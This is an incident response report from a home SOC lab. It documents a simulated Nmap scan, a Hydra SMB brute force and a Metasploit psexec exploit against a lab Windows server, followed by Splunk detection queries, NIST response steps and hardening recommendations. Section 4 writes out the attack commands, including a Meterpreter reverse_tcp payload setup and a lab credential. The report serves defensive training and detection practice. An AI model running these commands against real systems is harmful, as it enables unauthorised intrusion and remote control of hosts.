

INCIDENT RESPONSE REPORT

SOC Home Lab — Simulated Attack Analysis

Incident ID	IR-2026-001
Report Date	June 08, 2026
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Classification	CONFIDENTIAL — Internal Use Only
Severity	HIGH
Status	RESOLVED

1. Executive Summary

This report documents three simulated cyber attacks conducted against a controlled Windows Server 2012 R2 environment as part of a SOC Home Lab exercise. The attacks were initiated from a Kali Linux attacker machine and detected using Splunk Enterprise SIEM deployed on an Ubuntu Server VM.

The objective of this exercise was to simulate real-world attack scenarios, generate security event logs, and practice detection, analysis, and incident response using industry-standard tools and frameworks.

Attack Type	Detection Method	Outcome
Nmap Network Scan	Splunk Network Logs	Detected
Hydra SMB Brute Force	EventCode 4625	Detected
Metasploit Psexec	EventCode 4624 (Type 3)	Detected

2. Lab Environment

VM	OS	Role	IP Address
Kali Linux	Kali Linux 2024	Attacker	192.168.136.129
Windows Server	Windows Server 2012 R2	Target / Victim	192.168.131.136
Ubuntu (Splunk)	Ubuntu Server 22.04	SIEM	192.168.136.132

3. Incident Timeline

Time (IST)	Phase	Activity
06:00 AM	Reconnaissance	Nmap full port scan initiated from Kali Linux (192.168.136.129) against Windows Server (192.168.131.136)
07:10 AM	Credential Attack	Hydra SMB brute force attack — 10 password attempts against Administrator account on port 445
07:19 AM	Detection	Splunk detected 10x EventCode 4625 (Failed Login) — Brute Force Detection alert triggered
07:44 AM	Exploitation	Metasploit psexec exploit successful — Meterpreter session opened on Windows Server
07:45 AM	Detection	Splunk detected EventCode 4624 Logon Type=3 (Network Login) — Suspicious Login Pattern alert triggered
08:00 AM	Containment	Meterpreter session terminated. Windows Firewall rules reviewed. SMB access restricted.

4. Attack Details

4.1 Attack 1 — Network Reconnaissance (Nmap)

Tool Used: Nmap v7.x

Command: nmap -sV -p- 192.168.131.136

Source IP: 192.168.136.129 (Kali Linux)

Target IP: 192.168.131.136 (Windows Server)

Open Port Found: 5985/tcp — Microsoft HTTPAPI (WinRM)

OS Detected: Windows (Microsoft)

MITRE ATT&CK: T1046 — Network Service Discovery

4.2 Attack 2 — SMB Brute Force (Hydra)

Tool Used: Hydra v9.7

Command: hydra -l Administrator -P passlist.txt smb://192.168.131.136 -v -l

Target Service: SMB (Port 445)

Username Targeted: Administrator

Attempts Made: 10 password attempts

Result: 0 valid passwords found (password not in wordlist)

Splunk Detection: EventCode 4625 — 10 Failed Login events

MITRE ATT&CK: T1110.001 — Brute Force: Password Guessing

4.3 Attack 3 — SMB Exploitation (Metasploit Psexec)

Tool Used: Metasploit Framework v6.4

Module: exploit/windows/smb/psexec

Payload: windows/meterpreter/reverse_tcp

LHOST: 192.168.136.129 (Kali)

RHOST: 192.168.131.136 (Windows Server)

Authentication: Administrator / vinit@123

Result: Meterpreter Session 1 opened — SYSTEM access achieved

Splunk Detection: EventCode 4624, Logon_Type=3 — Network Login

MITRE ATT&CK: T1021.002 — Remote Services: SMB/Windows Admin Shares

5. SIEM Detection — Splunk

EventCode	Event Name	SPL Query Used	Count Detected
4625	Failed Login	index=main sourcetype=WinEventLog:Security EventCode=4625	10 events
4624	Successful Login	index=main sourcetype=WinEventLog:Security EventCode=4624	78 events
4672	Admin Login	index=main sourcetype=WinEventLog:Security EventCode=4672	70 events

5.1 Splunk Alerts Created

Alert Name	Trigger Condition	Schedule
Brute Force Detection	EventCode 4625 count > 5	Hourly
Suspicious Login Pattern	EventCode 4624 Logon_Type=3 > 0	Every 5 minutes

6. Incident Response Steps (NIST Framework)

Phase	Actions Taken
1. Preparation	SOC Home Lab configured with Splunk SIEM, Universal Forwarder on Windows Server, and isolated VMnet8 network. Alerting rules pre-configured for known attack patterns.
2. Detection	Splunk detected EventCode 4625 (brute force) and EventCode 4624 Logon_Type=3 (network exploitation). Alerts triggered successfully within 5 minutes of attack initiation.
3. Analysis	Log correlation confirmed attack origin: 192.168.136.129. Attack timeline reconstructed using Splunk Search. MITRE ATT&CK techniques mapped: T1046, T1110.001, T1021.002.
4. Containment	Meterpreter session terminated. SMB access (Port 445) restricted via Windows Firewall. Administrator account temporarily disabled for review.
5. Eradication	Malicious payload removed. Windows Firewall hardened. Password policy reviewed — strong password enforced on Administrator account.
6. Recovery	System restored to normal operation. Splunk monitoring confirmed no further suspicious activity. Alerts remain active for ongoing detection.
7. Lessons Learned	SMB should be disabled if not required. Administrator account should be renamed. Network segmentation between attacker and victim should be enforced. Real-time alerting reduced detection time significantly.

7. Recommendations

#	Recommendation	Priority
1	Disable SMB (Port 445) if not required — reduces attack surface significantly	CRITICAL
2	Implement Account Lockout Policy — lock after 5 failed login attempts	HIGH
3	Enable Multi-Factor Authentication (MFA) for Administrator account	HIGH
4	Rename default Administrator account to reduce brute force targeting	MEDIUM
5	Apply Windows patches regularly — EternalBlue (MS17-010) still active on unpatched systems	HIGH
6	Increase Splunk alert frequency to real-time for critical EventCodes (4625, 4624)	MEDIUM

8. Report Sign-Off

Prepared By	Date
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